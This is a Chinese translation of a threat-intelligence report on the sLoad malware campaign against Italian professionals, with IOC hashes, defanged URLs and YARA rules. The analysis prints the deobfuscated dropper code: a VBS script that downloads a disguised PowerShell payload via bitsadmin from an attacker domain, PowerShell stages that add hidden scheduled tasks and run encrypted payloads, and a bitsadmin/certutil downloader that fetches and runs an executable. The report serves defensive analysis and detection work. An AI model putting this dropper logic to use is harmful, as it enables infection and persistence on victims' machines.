跟踪sLoad十个月再回顾
介绍
sLoad(TH-163)是自从 2018 年第三季度开始针对意大利、英国和加拿大发起持续不断攻击的主角, Proofpoint 的分析报告也揭露了这一行动。sLoad 以采用复杂的感染链传播其他恶意软件而闻名。十个月前,我们撰写了相关 文章 披露有关 sLoad 攻击行动的细节。今天,我们将会继续介绍其最新的样本来揭示该威胁的演变历程。
技术分析
根据 CERT-PA 的 分析 ,该恶意软件最近使用合法的电子邮件进行投递。最近的攻击目标聚焦在意大利的组织与隶属于专业协会的顾问,例如律师和土木工程师。附件仍然为 zip 文件:
感染链
本次的附件与此前使用的 zip 文件一样,没有隐藏 PowerShell 代码。压缩文件中包含两个文件:损坏的 PDF 文件与 VBS 脚本文件。第一个程序旨在欺骗不明所以的用户,迫使其执行脚本文件。
下表显示了有关文件的一些基本信息:
哈希 | 文件 | 简介 | ssdeep |
---|---|---|---|
30d6f6470e145a1d1f2083abc443148c8e3f762025ca262267ae2e531b2e8ab4 | .vbs | sload 的 vbs 脚本文件 | 192:Fb1TpsF8Z1mZcwfD0VCmA7VETYM/2IVKfCH:FbQjZZfDsA7G2zfCH |
43db5fcb75d50a5516b687b076be5eb1aaec4b51d8d61a60efc69b383c1d757c | sload 的破损 PDF 文件 | 1536:mmD8g29U+A092Ljr/N0VyvD/ABVqYA7hq4XoZxXjdY4u/dQV:FdLKQjrFgyvsB0YA1q4YZxpWQV |
vbs 脚本文件经过混淆,包含一些垃圾指令,如未使用的变量与注释代码等。去混淆后可以发现代码的执行逻辑,该脚本会在攻击基础设施中拉取需要的 PowerShell 脚本并启动,最后诱骗受害者。
On Error Resume Next Set ZCzG = CreateObject("Scripting.FileSystemObject") Set PavfQt = WScript.CreateObject ("WScript.Shell") Set XaiX = ZCzG.GetFolder("c:\Users\") Recurse(XaiX) PavfQt.run "bitsadmin /transfer OkFCVS /download /priority FOREGROUND https://dreamacinc.com/UCP9dATGyt6mJ/srdzHcN4bWUum.jpg c:\Users\Public\Downloads\RSbYHuPO.ps1",0,True i=0 Do While i < 1 If (ZCzG.FileExists("c:\Users\Public\Downloads\RSbYHuPO.ps1")) Then i=1 End If WScript.Sleep(2280) Loop PavfQt.run "powershell.exe -ep bypass -file c:/users/public/downloads/RSbYHuPO.ps1 ",0,True Sub Recurse(JFLY) If IsAccessible(JFLY) Then For Each oSubFolder In JFLY.SubFolders Recurse oSubFolder Next For Each RIst In JFLY.Files If InStr(RIst.Name,".pdf") > 0 Then PavfQt.run "explorer "+JFLY+"\"+RIst.Name End if Next End If End Sub Function IsAccessible(XaiX) On Error Resume Next IsAccessible = (XaiX.SubFolders.Count >= 0) End Function
该恶意软件使用 bitsadmin.exe 从 [https://dreamacinc.com/UCP9dATGyt6mJ/srdzHcN4bWUum.jpg](https://dreamacinc.com/UCP9dATGyt6mJ/srdzHcN4bWUum.jpg)
下载虚假 jpg 文件。使用本机程序下载恶意文件可以绕过杀软的检测,下载的虚假图片文件实际上是一个 PowerShell 脚本。
$oLZz2= "C:\Users\admin\AppData\Roaming"; $YwbpkcN9XUIv1w=@(1..16); [...] $main_ini='76492d1116743f0423413b16050a5345MgB8ADUAVAB4 [...] AMQAyAGYA'; $main_ini | out-file $PaIQGLoo'\main.ini'; $domain_ini='76492d1116743f0423413b1605 [...] YwBlAA=='; $domain_ini | out-file $PaIQGLoo'\domain.ini'; [...] try{ [...] }catch{$yC0iBerAupzdtf5Z=Get-Process -name powershell*; if ($yC0iBerAupzdtf5Z.length -lt 2){ $EXhfbIPG7pUAEZzgZEnM = (Get-WmiObject Win32_ComputerSystemProduct).UUID ; $r=8; $B3xcDMBF=$EXhfbIPG7pUAEZzgZEnM.Substring(0,$r); $zjGQzSypyGPthusR = $047MydhkAAfp1W+"\"+$B3xcDMBF; $sv8eJJhgWV3xAN7Uu=@(1..16); $umwTVcIoudRlXjR6yAQQ= Get-Content "main.ini"$MLUkmHrgbpKyVEt8nS= ConvertTo-SecureString $umwTVcIoudRlXjR6yAQQ -key $sv8eJJhgWV3xAN7Uu; $AKXy3OFCowsfie = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MLUkmHrgbpKyVEt8nS); $DBR4S3t = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($AKXy3OFCowsfie); Invoke-Expression $DBR4S3t; } } | out-file $PaIQGLoo'\'$H3z9RnzIihO8'.ps1' $OFHc0H4A=' /F /create /sc minute /mo 3 /TN "S'+$rs+$fLCg9ngJqRHX36hfUr+'" /ST 07:00 /TR "wscript /E:vbscript '+$PaIQGLoo+'\'+$JxdRWnHC+'.tmp"'; start-process -windowstyle hidden schtasks $OFHc0H4A; [...]
脚本文件首先设置计划任务,维持在失陷主机的持久性。然后在失陷主机上随机选择一个活动进程与%AppData%\Roaming路径连起来,在安装文件夹中存储四个不同的文件:
.tmp .ps1 domain.ini main.ini
所有这些都嵌入在脚本当中,domain.ini与main.ini都使用 ConvertFrom-SecureString 进行加密。随后,脚本运行 UoqOTQrc.tmp 文件,该文件唯一的功能就是执行同一文件夹中包含的 UoqOTQrc.ps1 文件。
Dim str, min, max Const LETTERS = "abcdefghijklmnopqrstuvwxyz" min = 1 max = Len(LETTERS) Randomize [...] Set objFSO=CreateObject("Scripting.FileSystemObject") Set winssh = WScript.CreateObject ("WScript.Shell") fName=RandomString(10) JAcalshy=RandomString(4) fZgxNPDMnu=RandomString(4) WEHxctVdTEoDfqEqJMP=RandomString(4) [...] Set objFile = objFSO.CreateTextFile(outFile,8, True) objFile.Write "Set "+JAcalshy+"=rshe" & vbCrLf objFile.Write "Set "+fZgxNPDMnu+"=ypa" & vbCrLf objFile.Write "Set "+WEHxctVdTEoDfqEqJMP+"=il" & vbCrLf objFile.Close winssh.run "powershell -ep bypass -file .ps1",0,true
try{ Remove-EventLog:Debug-Job Export-BinaryMiLog:Get-PSSessionConfiguration Remove-JobTrigger:New-Item }catch{ $yC0iBerAupzdtf5Z=Get-Process -name powershell*; if ($yC0iBerAupzdtf5Z.length -lt 2){ $EXhfbIPG7pUAEZzgZEnM = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;$r=8; $B3xcDMBF=$EXhfbIPG7pUAEZzgZEnM.Substring(0,$r); $zjGQzSypyGPthusR = $047MydhkAAfp1W+"\"+$B3xcDMBF; $sv8eJJhgWV3xAN7Uu=@(1..16); $umwTVcIoudRlXjR6yAQQ= Get-Content "main.ini" $MLUkmHrgbpKyVEt8nS= ConvertTo-SecureString $umwTVcIoudRlXjR6yAQQ -key $sv8eJJhgWV3xAN7Uu; $AKXy3OFCowsfie = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MLUkmHrgbpKyVEt8nS); $DBR4S3t = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($AKXy3OFCowsfie); Invoke-Expression $DBR4S3t; }
同样的方式,UoqOTQrc 脚本使用 ConvertFrom-SecureString 解密 mini.ini 文件,密钥作为序列整数数组存储在$sv8eJJhgWV3xAN7Uu变量中:
解密后的 main.ini 脚本文件尝试对生成的 URL 进行 ping 操作,这些 URL 是在 65-90 / 67-122 两个范围内选择三个 ASCII 字符生成的。随后使用保存在$main_key变量中的密钥解密 domain.ini 文件。最后将结果保存在 btc.log 文件中。继续分析 main.ini 可以发现该脚本还会收集系统信息发现潜在目标。
此时,脚本会通过hxxps://<C2_URL>/doc/x2401.jpg下载另一个恶意文件。该文件也不是真正的 jpg 文件,而是另一个 PowerShell 脚本:
$u2K2MQ4 = "`r`n" $lNlNrKyk= -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}) $yIXgWSaXsKD5hanf9uO= $env:userprofile+'\App'+'Da'+'ta\Ro'+'am'+'ing'; $hh='hi'+'dd'+'en'; $ixXApGeqJKEGY=@(1..16); $Erlydjiyy = (Get-WmiObject Win32_ComputerSystemProduct); $Erlydj = $Erlydjiyy.UUID; $sOmUGoc0ysV8UW=$Erlydj.Substring(0,6); $Z5lTNXB = $yIXgWSaXsKD5hanf9uO+"\"+$sOmUGoc0ysV8UW; If(!(test-path $Z5lTNXB)){New-Item -ItemType Directory -Force -Path $Z5lTNXB} If(test-path $Z5lTNXB"\_in"){$gQd0DB82ByQ0pziwKZ=Get-ChildItem $Z5lTNXB"\_in";$FQDO2rSjJJxrkrYFWM1W = Get-Date;if ($gQd0DB82ByQ0pziwKZ.LastWriteTime -gt $FQDO2rSjJJxrkrYFWM1W.AddMinutes(-30)){break;break;}}; "1" | out-file $Z5lTNXB"\_in"; try{ Remove-Item $Z5lTNXB'\*'}catch{} $wsxDITPgQCH+='76492d1116743f0423413b16050a5345MgB8AGsAKwBwAHkASQBUAGgAWgBKAEsAbgBFAE8AUQBHA'; [...] $wsxDITPgQCH+='UAZAA1AGIAZAA0ADIAYgBkAGUANQAzADIAYgBkAGIAMwBlADMAZQA1ADAAOQA3ADgAYwAyAGYAMgA'; $wsxDITPgQCH+='3ADAANQA1AA=='; $wsxDITPgQCH | out-file $Z5lTNXB'\config.ini'; $5r8DcJB4ok4+='76492d1116743f0423413b16050a5345MgB8AHQAYgBqAFYAVQBQADUAQwBNAGEAZABWAFMA'; [...] $5r8DcJB4ok4+='YQBiADUAOAAzAGQANAAxADgAMwAxAGYANQAwAGIA'; $5r8DcJB4ok4 | out-file $Z5lTNXB'\web.ini'; start-process -windowstyle $hh schtasks '/change /tn GoFast /disable'; $2aWxu9dutZfOPCCgS+=$u2K2MQ4+'Dim '; [...] $nz0oninX6=$ixXApGeqJKEGY -join ','; $E6M6Np8nhXnu4ndPEJ=' /F /create /sc minute /mo 3 /TN "U'+$sOmUGoc0ysV8UW+'" /ST 07:00 /TR "wscript /E:vbscript '+$Z5lTNXB+'\'+$lNlNrKyk+'.tmp"'; start-process -windowstyle $hh schtasks $E6M6Np8nhXnu4ndPEJ;
$u2K2MQ4 = "rn"; $lNlNrKyk= -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}); $yIXgWSaXsKD5hanf9uO= $env:userprofile+'\AppData\Roaming'; $Erlydjiyy = (Get-WmiObject Win32_ComputerSystemProduct); $Erlydj = $Erlydjiyy.UUID; $sOmUGoc0ysV8UW=$Erlydj.Substring(0,6); $Z5lTNXB = $yIXgWSaXsKD5hanf9uO+"\"+$sOmUGoc0ysV8UW; If(!(test-path $Z5lTNXB)){New-Item -ItemType Directory -Force -Path $Z5lTNXB} If(test-path $Z5lTNXB"\_in"){$gQd0DB82ByQ0pziwKZ=Get-ChildItem $Z5lTNXB"\_in";$FQDO2rSjJJxrkrYFWM1W = Get-Date;if ($gQd0DB82ByQ0pziwKZ.LastWriteTime -gt $FQDO2rSjJJxrkrYFWM1W.AddMinutes(-30)){break;break;}}; "1" | out-file $Z5lTNXB"\_in"; try{ Remove-Item $Z5lTNXB'\*'}catch{} $wsxDITPgQCH="76492d1 [...] A1AA=="; $wsxDITPgQCH | out-file $Z5lTNXB'\config.ini'; $5r8DcJB4ok4="7649 [...] AGIA"; $5r8DcJB4ok4 | out-file $Z5lTNXB'\web.ini'; start-process -windowstyle hidden schtasks '/change /tn GoFast /disable'; $2aWxu9dutZfOPCCgS="Dim winssh [...] winssh.run "powershell -ep bypass -file vJjFwtSM.ps1",0,true"; $2aWxu9dutZfOPCCgS | out-file $Z5lTNXB'\'$lNlNrKyk'.tmp' $r1uIiPZBhUea0=" $zTxePJtpmbVI0btT6cd9=Get-Process -name powershell*; [...] Invoke-Expression $NLO3lwvn1xWn;}"; $r1uIiPZBhUea0 | out-file $Z5lTNXB'\'$lNlNrKyk'.ps1' $nz0oninX6="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16"; $E6M6Np8nhXnu4ndPEJ="/F /create /sc minute /mo 3 /TN "U52A34D" /ST 07:00 /TR "wscript /E:vbscript C:\Users\admin\AppData\Roaming\52A34D\vJjFwtSM.tmp"; start-process -windowstyle hidden schtasks $E6M6Np8nhXnu4ndPEJ;
该脚本也在 %AppData%\Roaming\<active_process>
路径下创建四个文件:
.tmp .ps1 config.ini web.ini
首先执行的文件是<random_name>.tmp,该文件没有被混淆,只会执行<random_name>.ps1文件。后者的内容如下所示,解密 config.ini 文件,下图显示了加密与解密 config.ini 文件:
与 main.ini 类似,该脚本执行相同的操作,区别仅在于 web.ini 文件中存储的 URL 不同。解密密钥仍然是存储在$mainKey变量中 1-16 位的整数数组。
最后,尝试使用以下脚本下载最终的恶意文件。但在撰写本文时,所有的 C&C 地址均已失效,无法获得最终的恶意文件。
$dPath = [Environment]::GetFolderPath("MyDocuments") $jerry=$starsLord+'\'+$roccon+'_'+$rp; $clpsr='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND '+$line+' '+$jerry+'.txt & Copy /Z '+$jerry+'.txt '+$jerry+'_1.txt & certutil -decode '+$jerry+'_1.txt '+$dPath+'\'+$roccon+'_'+$rp+'.exe & powershell -command "start-process '+$dPath+'\'+$roccon+'_'+$rp+'.exe" & exit'; start-process -wiNdowStylE HiddeN $mainDMC $clpsr; $clpsr='/C del '+$jerry+'.txt & del '+$jerry+'_1.txt & del '+$dPath+'\'+$roccon+'_'+$rp+'.exe & exit'; start-process -wiNdowStylE HiddeN $mainDMC $clpsr;
与此前的感染链对比
两次感染链的感染媒介都是精心设计的恶意电子邮件,附件为包含两个文件的 ZIP 压缩文件。第一个感染链从 .ink 文件起始,第二个感染链从 .vbx 脚本开始。
几个月前观察到的 sLoad 感染链链的特征是在 ZIP 压缩文件的末尾附加了一些 PowerShell 代码。此技术在随后的一段时间内变得容易检测了,最近攻击行动中可能已经弃用该技术。压缩包中包含一个合法图像或 PDF 文件,用以欺骗不明所以的用户,此外,第一个感染链的变体中主要基于 PowerShell 脚本与 Living off the Land 文件。但是最新的感染链中混合使用了 PowerShell 和 VisualBasic 脚本。
核心结构仍然十分相似,但是增加了新的命令,如 Exec 和 Eval。后者可以通过 bitsadmin 程序下载更多恶意代码,而不直接依赖于原始的 Net.WebClient
。此外,新版本中已经删除了屏幕捕捉的功能,同时通过计划任务增强了持久化的能力。
结论
sLoad 在几个月内不断发展其攻击能力,这对意大利的网络空间构成了可见的威胁。最新的攻击行动中针对相关专业人士和私人公司的认证邮箱发起攻击,另外,最新的鱼叉邮件质量很高,使用了意大利税务局使用的模板与命名(Agenzia delle Entrate)。
大量使用 PowerShell 脚本与 SSL 加密信道使自动化系统很难检测到该威胁,需要高质量的威胁情报来检测与应对 sLoad 的攻击行动,很多时间该组织只针对一个国家发起攻击。
IOC
HASH
30d6f6470e145a1d1f2083abc443148c8e3f762025ca262267ae2e531b2e8ab4 43db5fcb75d50a5516b687b076be5eb1aaec4b51d8d61a60efc69b383c1d757c 46e9f9aa5851280c920d244dc7b14e131f48910f47100c78f3190a0e59f72300 d0daaf5a82e43e8734e579dd376926d4bc1118cd0e3a064c4df844701c187842 f2c3d19d6e1f067f3f21180c2c6998916f1f5007f207c4ebf724d29ab56f7a13 0736fdb674cc593f48d099077fca363fe4414a6b13810cabf1210b087846b547 3d9848551ed8f2a59beefd95b5d606a6bd38002794ab7246d3e440f421bfdd47 7a4b5684ee9be3d9169fa1a2bf54f499b7271d38cd0cbc7cc464a87a16402a0d 0f6122739e34d2e7bb735a15d97d6948c569add05086c54c25109d47bf530157 65132913c9318ad5e8745062ef5c5e323ec8a5758434a81122bf9ab3b245661f 2e5c29fbb8ac94231dc465d3bad36a59099774978858933a01cd230f33608889 edd22372327273351f43bac791ee621b1344fbc66a725f7d6d47f4559dbea6f4 e84f0f1c78988424a45b3f358b6fc65f8803c54719579dc8c400e94f02488c17 f89b66aeab7015fb4a0fa50aa9698541f9ca0996f9706afa4311bf73f56b25ee 3607f1ac486d27be2210511ef3c779d315b405cd335684edc96175ea649872d7
URL
hxxps://dreamacinc.com/UCP9dATGyt6mJ/srdzHcN4bWUum.jpg
hxxps://rdtber.eu/view/main.php?ch=1
hxxps://uilomiku.eu/view/main.php?ch=1
hxxps://ijve.eu/view/main.php?ch=1
hxxps://cvrwe.eu/view/main.php?ch=1
hxxps://famebite.com/kerdo3gfmed5/fild4et5bes.png
hxxps://butchscorpion.com/ucp9datgyt6mj/srdzhcn4bwuum.jpg
hxxps://carpediem123.com/ucp9datgyt6mj/srdzhcn4bwuum.jpg
hxxps://rdtber.eu/doc/x2401.jpg
hxxps://memoriesmadelb.com/ucp9datgyt6mj/srdzhcn4bwuum.jpg
hxxps://clutchmagazine.com/ucp9datgyt6mj/srdzhcn4bwuum.jpg
hxxps://interloc-tp.com/kerdo3gfmed5/fild4et5bes.png
hxxps://kd5ndz.com/kerdo3gfmed5/fild4et5bes.png
hxxps://fanaaru.com/kerdo3gfmed5/fild4et5bes.png
hxxps://ghettoaffiliatemarketing.com/wcunaq53rhaza/7za.exe
hxxps://jonwilliam.com/kerdo3gfmed5/fild4et5bes.png
Yara
rule SLoad_Sep_2019{ meta: description = "Yara Rule for Sload campaign 2019" author = "Cybaze Zlab_Yoroi" last_updated = "2019-09-27" tlp = "white" category = "informational" strings: $s1 = {50 4B} $s2 = {29 7B 0A 33 9D B6 C7 BF} $s3 = {E7 D5 53 78 3A BD} $a1 = "IT83440018268.vbs" ascii wide $a2 = "IT83440018268.pdf" ascii wide condition: all of ($s*) and 1 of ($a*) } rule sload_Sep_2019{ meta: description = "Yara Rule for Sload vbs script sept 2019" author = "Cybaze Zlab_Yoroi" last_updated = "2019-09-27" tlp = "white" category = "informational" strings: $s1="ZCzG.GetFolder(\"c:\\Users\\\")" $s2="WScript.Shell" $s3="https://dreamacinc.com/" $s4="bitsadmin" condition: all of them }
*参考来源: Yoroi ,FB 小编 Avenger 编译,转载请注明来自 FreeBuf.COM